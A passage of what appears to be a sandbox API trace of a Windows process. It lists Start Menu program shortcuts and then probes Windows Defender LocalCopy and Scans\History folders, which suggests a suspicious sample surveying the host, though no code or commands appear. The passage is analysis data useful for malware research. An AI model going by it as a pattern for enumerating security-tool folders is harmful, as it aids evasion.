ftLastAccessTime.dwHighDateTime=0x1d112f2, ftLastWriteTime.dwLowDateTime=0x7088bbcb, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessories", cAlternateFileName="ACCESS~2")) returned 1 [0222.620] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1afbdeb0 | out: lpFindFileData=0x1afbdeb0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x7088bbcb, ftLastAccessTime.dwHighDateTime=0x1d112f2, ftLastWriteTime.dwLowDateTime=0x7088bbcb, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Administrative Tools", cAlternateFileName="ADMINI~1")) returned 1 [0222.620] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1afbdeb0 | out: lpFindFileData=0x1afbdeb0*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x3672e79, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97362eb5, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0xcc3b208a, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x546, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0222.621] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1afbdeb0 | out: lpFindFileData=0x1afbdeb0*(dwFileAttributes=0x25, ftCreationTime.dwLowDateTime=0x23bf23db, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x23bf23db, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x23bf23db, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x355, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.lnk", cAlternateFileName="")) returned 1 [0222.621] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1afbdeb0 | out: lpFindFileData=0x1afbdeb0*(dwFileAttributes=0x25, ftCreationTime.dwLowDateTime=0x503ebe79, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x503ebe79, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x503ebe79, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x895, dwReserved0=0x0, dwReserved1=0x0, cFileName="Devices Flow.lnk", cAlternateFileName="")) returned 1 [0222.621] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1afbdeb0 | out: lpFindFileData=0x1afbdeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc365b2e, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0xcc38bdd0, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0xcc38bdd0, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0xa58, dwReserved0=0x0, dwReserved1=0x0, cFileName="Excel 2016.lnk", cAlternateFileName="EXCEL2~1.LNK")) returned 1 [0222.621] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1afbdeb0 | out: lpFindFileData=0x1afbdeb0*(dwFileAttributes=0x25, ftCreationTime.dwLowDateTime=0x503ebe79, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x503ebe79, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x503ebe79, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x92d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Immersive Control Panel.lnk", cAlternateFileName="")) returned 1 [0222.621] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1afbdeb0 | out: lpFindFileData=0x1afbdeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad820150, ftCreationTime.dwHighDateTime=0x1d8c106, ftLastAccessTime.dwLowDateTime=0xad951269, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xad951269, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1 [0222.621] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1afbdeb0 | out: lpFindFileData=0x1afbdeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x36e5585, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x36e5585, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Maintenance", cAlternateFileName="MAINTE~1")) returned 1 [0222.622] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1afbdeb0 | out: lpFindFileData=0x1afbdeb0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xcc280cfc, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0xcc4bd1f9, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0xcc4bd1f9, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office 2016 Tools", cAlternateFileName="MICROS~1")) returned 1 [0222.622] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1afbdeb0 | out: lpFindFileData=0x1afbdeb0*(dwFileAttributes=0x25, ftCreationTime.dwLowDateTime=0x1a440bee, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x1a440bee, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x1a440bee, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x8ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="MiracastView.lnk", cAlternateFileName="")) returned 1 [0222.622] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1afbdeb0 | out: lpFindFileData=0x1afbdeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc38bdd0, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0xcc38bdd0, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0xcc38bdd0, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0xa66, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneDrive for Business.lnk", cAlternateFileName="ONEDRI~1.LNK")) returned 1 [0222.622] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1afbdeb0 | out: lpFindFileData=0x1afbdeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc3fe4b8, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0xcc3fe4b8, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0xcc3fe4b8, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0xa58, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNote 2016.lnk", cAlternateFileName="ONENOT~1.LNK")) returned 1 [0222.622] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1afbdeb0 | out: lpFindFileData=0x1afbdeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc42471b, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0xcc42471b, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0xcc42471b, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0xaa9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook 2016.lnk", cAlternateFileName="OUTLOO~1.LNK")) returned 1 [0222.623] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1afbdeb0 | out: lpFindFileData=0x1afbdeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc42471b, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0xcc42471b, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0xcc42471b, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0xa52, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPoint 2016.lnk", cAlternateFileName="POWERP~1.LNK")) returned 1 [0222.623] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1afbdeb0 | out: lpFindFileData=0x1afbdeb0*(dwFileAttributes=0x25, ftCreationTime.dwLowDateTime=0x502baba5, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x502baba5, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x502baba5, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x897, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrintDialog.lnk", cAlternateFileName="")) returned 1 [0222.623] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1afbdeb0 | out: lpFindFileData=0x1afbdeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc44a93e, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0xcc44a93e, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0xcc44a93e, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0xa44, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher 2016.lnk", cAlternateFileName="PUBLIS~1.LNK")) returned 1 [0222.623] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1afbdeb0 | out: lpFindFileData=0x1afbdeb0*(dwFileAttributes=0x25, ftCreationTime.dwLowDateTime=0x2007da5a, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x2007da5a, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x2007da5a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x634, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.lnk", cAlternateFileName="")) returned 1 [0222.623] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1afbdeb0 | out: lpFindFileData=0x1afbdeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc3b208a, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0xcc3b208a, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0xcc3b208a, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0xa60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Skype for Business 2016.lnk", cAlternateFileName="SKYPEF~1.LNK")) returned 1 [0222.623] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1afbdeb0 | out: lpFindFileData=0x1afbdeb0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x36e5585, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x36e5585, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="StartUp", cAlternateFileName="")) returned 1 [0222.624] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1afbdeb0 | out: lpFindFileData=0x1afbdeb0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x370b7e7, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x370b7e7, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Tools", cAlternateFileName="SYSTEM~1")) returned 1 [0222.624] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1afbdeb0 | out: lpFindFileData=0x1afbdeb0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x6ec87d0d, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0x6ec87d0d, ftLastAccessTime.dwHighDateTime=0x1d112f2, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tablet PC", cAlternateFileName="TABLET~1")) returned 1 [0222.624] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1afbdeb0 | out: lpFindFileData=0x1afbdeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc44a93e, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0xcc44a93e, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0xcc44a93e, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0xa60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Word 2016.lnk", cAlternateFileName="WORD20~1.LNK")) returned 1 [0222.624] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1afbdeb0 | out: lpFindFileData=0x1afbdeb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0222.625] FindClose (in: hFindFile=0x1d1f5b90 | out: hFindFile=0x1d1f5b90) returned 1 [0222.798] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1afbe110) returned 1 [0222.798] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1afbe0d0) returned 1 [0222.798] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1afbe1e0) returned 1 [0222.798] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs", nBufferLength=0x105, lpBuffer=0x1afbdcc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs", lpFilePart=0x0) returned 0x38 [0222.798] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\*"), lpFindFileData=0x1afbdef0 | out: lpFindFileData=0x1afbdef0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcc470c30, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0xcc470c30, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5b90 [0222.799] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1afbdeb0 | out: lpFindFileData=0x1afbdeb0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcc470c30, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0xcc470c30, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0222.799] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1afbdeb0 | out: lpFindFileData=0x1afbdeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc470c30, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0xcc470c30, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0xcc470c30, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0xa60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Access 2016.lnk", cAlternateFileName="ACCESS~1.LNK")) returned 1 [0222.799] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1afbdeb0 | out: lpFindFileData=0x1afbdeb0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x36990d0, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x36990d0, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessibility", cAlternateFileName="ACCESS~1")) returned 1 [0222.799] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1afbdeb0 | out: lpFindFileData=0x1afbdeb0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x7088bbcb, ftLastAccessTime.dwHighDateTime=0x1d112f2, ftLastWriteTime.dwLowDateTime=0x7088bbcb, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessories", cAlternateFileName="ACCESS~2")) returned 1 [0222.799] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1afbdeb0 | out: lpFindFileData=0x1afbdeb0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x7088bbcb, ftLastAccessTime.dwHighDateTime=0x1d112f2, ftLastWriteTime.dwLowDateTime=0x7088bbcb, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Administrative Tools", cAlternateFileName="ADMINI~1")) returned 1 [0222.800] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1afbdeb0 | out: lpFindFileData=0x1afbdeb0*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x3672e79, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97362eb5, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0xcc3b208a, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x546, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0222.800] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1afbdeb0 | out: lpFindFileData=0x1afbdeb0*(dwFileAttributes=0x25, ftCreationTime.dwLowDateTime=0x23bf23db, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x23bf23db, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x23bf23db, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x355, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.lnk", cAlternateFileName="")) returned 1 [0222.800] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1afbdeb0 | out: lpFindFileData=0x1afbdeb0*(dwFileAttributes=0x25, ftCreationTime.dwLowDateTime=0x503ebe79, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x503ebe79, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x503ebe79, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x895, dwReserved0=0x0, dwReserved1=0x0, cFileName="Devices Flow.lnk", cAlternateFileName="")) returned 1 [0222.800] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1afbdeb0 | out: lpFindFileData=0x1afbdeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc365b2e, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0xcc38bdd0, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0xcc38bdd0, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0xa58, dwReserved0=0x0, dwReserved1=0x0, cFileName="Excel 2016.lnk", cAlternateFileName="EXCEL2~1.LNK")) returned 1 [0222.800] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1afbdeb0 | out: lpFindFileData=0x1afbdeb0*(dwFileAttributes=0x25, ftCreationTime.dwLowDateTime=0x503ebe79, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x503ebe79, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x503ebe79, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x92d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Immersive Control Panel.lnk", cAlternateFileName="")) returned 1 [0222.800] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1afbdeb0 | out: lpFindFileData=0x1afbdeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad820150, ftCreationTime.dwHighDateTime=0x1d8c106, ftLastAccessTime.dwLowDateTime=0xad951269, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xad951269, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1 [0222.801] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1afbdeb0 | out: lpFindFileData=0x1afbdeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x36e5585, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x36e5585, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Maintenance", cAlternateFileName="MAINTE~1")) returned 1 [0222.801] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1afbdeb0 | out: lpFindFileData=0x1afbdeb0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xcc280cfc, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0xcc4bd1f9, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0xcc4bd1f9, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office 2016 Tools", cAlternateFileName="MICROS~1")) returned 1 [0222.801] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1afbdeb0 | out: lpFindFileData=0x1afbdeb0*(dwFileAttributes=0x25, ftCreationTime.dwLowDateTime=0x1a440bee, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x1a440bee, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x1a440bee, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x8ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="MiracastView.lnk", cAlternateFileName="")) returned 1 [0222.801] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1afbdeb0 | out: lpFindFileData=0x1afbdeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc38bdd0, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0xcc38bdd0, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0xcc38bdd0, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0xa66, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneDrive for Business.lnk", cAlternateFileName="ONEDRI~1.LNK")) returned 1 [0222.801] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1afbdeb0 | out: lpFindFileData=0x1afbdeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc3fe4b8, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0xcc3fe4b8, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0xcc3fe4b8, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0xa58, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNote 2016.lnk", cAlternateFileName="ONENOT~1.LNK")) returned 1 [0226.289] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1afbe9a0) returned 1 [0226.289] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\LocalCopy", nBufferLength=0x105, lpBuffer=0x1afbe480, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows Defender\\LocalCopy", lpFilePart=0x0) returned 0x37 [0226.290] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\LocalCopy\\*" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\localcopy\\*"), lpFindFileData=0x1afbe6b0 | out: lpFindFileData=0x1afbe6b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd525f5, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4330 [0226.296] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1afbe9a0) returned 1 [0226.296] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History", nBufferLength=0x105, lpBuffer=0x1afbe480, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History", lpFilePart=0x0) returned 0x3b [0226.296] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\*" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\history\\*"), lpFindFileData=0x1afbe6b0 | out: lpFindFileData=0x1afbe6b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd06b4edd, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xd06b4edd, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0x2a531b1c, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4ed0 [0226.334] SetThreadErrorMode (dwNewMode=0x1, 